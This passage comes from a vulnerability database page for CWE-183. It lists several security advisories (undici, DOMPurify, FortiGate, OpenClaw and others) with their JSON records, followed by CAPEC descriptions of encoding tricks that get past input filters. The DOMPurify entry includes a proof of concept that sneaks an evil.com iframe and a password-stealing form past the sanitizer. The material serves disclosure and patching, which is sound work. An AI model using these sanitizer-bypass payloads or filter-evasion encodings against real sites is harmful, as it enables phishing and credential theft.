"type": "PACKAGE",
"url": "https://github.com/withastro/astro"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Astro: Remote allowlist bypass via unanchored matchPathname wildcard"
}
GHSA-G8M3-5G58-FQ7M
Vulnerability from github – Published: 2026-06-19 14:34 – Updated: 2026-06-19 14:34Impact
When undici parses a Set-Cookie header, it accepts any SameSite attribute value that contains Strict, Lax, or None as a substring, rather than the case-insensitive exact match specified by RFC 6265. Non-spec values are silently mapped to one of the three standard tokens:
SameSite=NoneOfYourBusinessis parsed asNone, the most permissive setting.SameSite=StrictLaxis parsed asLax, a downgrade fromStrict.
Affected applications are those that consume Set-Cookie headers from server responses (for example via undici's fetch or proxy code paths) and then forward or rely on the parsed sameSite attribute. A malicious or non-compliant server can coerce the consumer's view of a cookie's SameSite policy to a weaker value, silently degrading the SameSite enforcement the cookie is supposed to provide.
This was introduced in undici 5.15.0 when the cookies feature was added.
Patches
Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.
Workarounds
After parsing a Set-Cookie header, validate that the resulting sameSite attribute is one of 'Strict', 'Lax', or 'None' (exact, case-insensitive) before forwarding or relying on it.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.27.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.28.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-11525"
],
"database_specific": {
"cwe_ids": [
"CWE-183"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T14:34:46Z",
"nvd_published_at": "2026-06-17T18:17:35Z",
"severity": "LOW"
},
"details": "## Impact\n\nWhen undici parses a `Set-Cookie` header, it accepts any `SameSite` attribute value that contains `Strict`, `Lax`, or `None` as a substring, rather than the case-insensitive exact match specified by RFC 6265. Non-spec values are silently mapped to one of the three standard tokens:\n\n- `SameSite=NoneOfYourBusiness` is parsed as `None`, the most permissive setting.\n- `SameSite=StrictLax` is parsed as `Lax`, a downgrade from `Strict`.\n\nAffected applications are those that consume `Set-Cookie` headers from server responses (for example via undici\u0027s `fetch` or proxy code paths) and then forward or rely on the parsed `sameSite` attribute. A malicious or non-compliant server can coerce the consumer\u0027s view of a cookie\u0027s SameSite policy to a weaker value, silently degrading the SameSite enforcement the cookie is supposed to provide.\n\nThis was introduced in undici 5.15.0 when the cookies feature was added.\n\n## Patches\n\nUpgrade to undici v6.27.0, v7.28.0 or v8.5.0.\n\n## Workarounds\n\nAfter parsing a `Set-Cookie` header, validate that the resulting `sameSite` attribute is one of `\u0027Strict\u0027`, `\u0027Lax\u0027`, or `\u0027None\u0027` (exact, case-insensitive) before forwarding or relying on it.",
"id": "GHSA-g8m3-5g58-fq7m",
"modified": "2026-06-19T14:34:46Z",
"published": "2026-06-19T14:34:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-g8m3-5g58-fq7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11525"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "undici vulnerable to Set-Cookie SameSite attribute downgrade via permissive substring matching"
}
GHSA-GMHF-R4CX-XF3X
Vulnerability from github – Published: 2024-10-08 09:30 – Updated: 2024-10-08 09:30A vulnerability has been identified in Siemens SINEC Security Monitor (All versions < V4.9.0). The affected application does not properly validate that user input complies with a list of allowed values. This could allow an authenticated remote attacker to compromise the integrity of the configuration of the affected application.
{
"affected": [],
"aliases": [
"CVE-2024-47565"
],
"database_specific": {
"cwe_ids": [
"CWE-183"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-08T09:15:18Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in Siemens SINEC Security Monitor (All versions \u003c V4.9.0). The affected application does not properly validate that user input complies with a list of allowed values.\nThis could allow an authenticated remote attacker to compromise the integrity of the configuration of the affected application.",
"id": "GHSA-gmhf-r4cx-xf3x",
"modified": "2024-10-08T09:30:54Z",
"published": "2024-10-08T09:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47565"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-430425.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GXGJ-6564-3P8J
Vulnerability from github – Published: 2023-04-11 18:30 – Updated: 2024-04-04 03:24A permissive list of allowed inputs vulnerability [CWE-183] in FortiGate version 7.2.3 and below, version 7.0.9 and below Policy-based NGFW Mode may allow an authenticated SSL-VPN user to bypass the policy via bookmarks in the web portal.
{
"affected": [],
"aliases": [
"CVE-2022-42469"
],
"database_specific": {
"cwe_ids": [
"CWE-183"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-11T17:15:00Z",
"severity": "MODERATE"
},
"details": "A permissive list of allowed inputs vulnerability [CWE-183] in FortiGate version 7.2.3 and below, version 7.0.9 and below Policy-based NGFW Mode may allow an authenticated SSL-VPN user to bypass the policy via bookmarks in the web portal.",
"id": "GHSA-gxgj-6564-3p8j",
"modified": "2024-04-04T03:24:27Z",
"published": "2023-04-11T18:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42469"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-22-381"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H7MW-GPVR-XQ4M
Vulnerability from github – Published: 2026-04-22 17:34 – Updated: 2026-04-27 16:32There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.
Commit c361baa added an early exit for FORBID_ATTR at line 1214:
/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
return false;
}
The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:
if (
!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits
) &&
(!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated
) {
This allows forbidden elements to survive sanitization with their attributes intact.
PoC (tested against current HEAD in Node.js + jsdom):
const DOMPurify = createDOMPurify(window);
DOMPurify.sanitize(
'<iframe src="https://evil.com"></iframe>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['iframe']
}
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)
DOMPurify.sanitize(
'<form action="https://evil.com/steal"><input name=password></form>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['form']
}
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)
Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.
Compare with FORBID_ATTR which correctly wins:
DOMPurify.sanitize(
'<p onclick="alert(1)">hello</p>',
{
ADD_ATTR: function(attr) { return true; },
FORBID_ATTR: ['onclick']
}
);
// Returns: '<p>hello</p>' (onclick correctly removed)
Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:
/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
// proceed to removal logic
}
This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.
Reporter: Koda Reef
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41240"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T17:34:17Z",
"nvd_published_at": "2026-04-23T16:16:26Z",
"severity": "MODERATE"
},
"details": "There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n if (FORBID_ATTR[lcName]) {\n return false;\n }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n if (\n !(\n EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -\u003e short-circuits\n ) \u0026\u0026\n (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated\n ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n const DOMPurify = createDOMPurify(window);\n\n DOMPurify.sanitize(\n \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027,\n {\n ADD_TAGS: function(tag) { return true; },\n FORBID_TAGS: [\u0027iframe\u0027]\n }\n );\n // Returns: \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027\n // Expected: \u0027\u0027 (iframe forbidden)\n\n DOMPurify.sanitize(\n \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=password\u003e\u003c/form\u003e\u0027,\n {\n ADD_TAGS: function(tag) { return true; },\n FORBID_TAGS: [\u0027form\u0027]\n }\n );\n // Returns: \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=\"password\"\u003e\u003c/form\u003e\u0027\n // Expected: \u0027\u003cinput name=\"password\"\u003e\u0027 (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n DOMPurify.sanitize(\n \u0027\u003cp onclick=\"alert(1)\"\u003ehello\u003c/p\u003e\u0027,\n {\n ADD_ATTR: function(attr) { return true; },\n FORBID_ATTR: [\u0027onclick\u0027]\n }\n );\n // Returns: \u0027\u003cp\u003ehello\u003c/p\u003e\u0027 (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n if (FORBID_TAGS[tagName]) {\n // proceed to removal logic\n }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef",
"id": "GHSA-h7mw-gpvr-xq4m",
"modified": "2026-04-27T16:32:31Z",
"published": "2026-04-22T17:34:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41240"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)"
}
GHSA-HV4J-7WH2-M4P5
Vulnerability from github – Published: 2024-03-14 03:31 – Updated: 2024-03-14 03:31This vulnerability potentially allows unauthorized write operations which may lead to remote code execution. An attacker must already have authenticated admin access and knowledge of both an internal system identifier and details of another valid user to exploit this.
{
"affected": [],
"aliases": [
"CVE-2024-1654"
],
"database_specific": {
"cwe_ids": [
"CWE-183"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-14T03:15:08Z",
"severity": "HIGH"
},
"details": "This vulnerability potentially allows unauthorized write operations which may lead to remote code execution. An attacker must already have authenticated admin access and knowledge of both an internal system identifier and details of another valid user to exploit this. ",
"id": "GHSA-hv4j-7wh2-m4p5",
"modified": "2024-03-14T03:31:15Z",
"published": "2024-03-14T03:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1654"
},
{
"type": "WEB",
"url": "https://www.papercut.com/kb/Main/Security-Bulletin-March-2024"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J7P2-QCWM-94V4
Vulnerability from github – Published: 2026-03-31 23:59 – Updated: 2026-05-06 02:36Summary
Host exec env override sanitization did not fail closed for several package-manager and related redirect variables that can steer dependency fetches or startup behavior.
Impact
An approved exec request could silently redirect package resolution or runtime bootstrap to attacker-controlled infrastructure and execute trojanized content.
Affected Component
src/infra/host-env-security-policy.json, src/infra/host-env-security.ts
Fixed Versions
- Affected:
< 2026.3.22 - Patched:
>= 2026.3.22
Fix
Fixed by commit 7abfff756d (Exec: harden host env override handling across gateway and node).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41387"
],
"database_specific": {
"cwe_ids": [
"CWE-183"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:59:36Z",
"nvd_published_at": "2026-04-28T19:37:41Z",
"severity": "HIGH"
},
"details": "## Summary\n\nHost exec env override sanitization did not fail closed for several package-manager and related redirect variables that can steer dependency fetches or startup behavior.\n\n## Impact\n\nAn approved exec request could silently redirect package resolution or runtime bootstrap to attacker-controlled infrastructure and execute trojanized content.\n\n## Affected Component\n\n`src/infra/host-env-security-policy.json, src/infra/host-env-security.ts`\n\n## Fixed Versions\n\n- Affected: `\u003c 2026.3.22`\n- Patched: `\u003e= 2026.3.22`\n\n## Fix\n\nFixed by commit `7abfff756d` (`Exec: harden host env override handling across gateway and node`).",
"id": "GHSA-j7p2-qcwm-94v4",
"modified": "2026-05-06T02:36:21Z",
"published": "2026-03-31T23:59:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-j7p2-qcwm-94v4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41387"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/7abfff756d6c68d17e21d1657bbacbaec86de232"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.22"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-supply-chain-redirection-via-incomplete-host-environment-sanitization"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw\u0027s incomplete host env sanitization blocklist allows supply-chain redirection via package-manager env overrides"
}
No mitigation information available for this CWE.
CAPEC-120: Double Encoding
The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.
CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters
Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.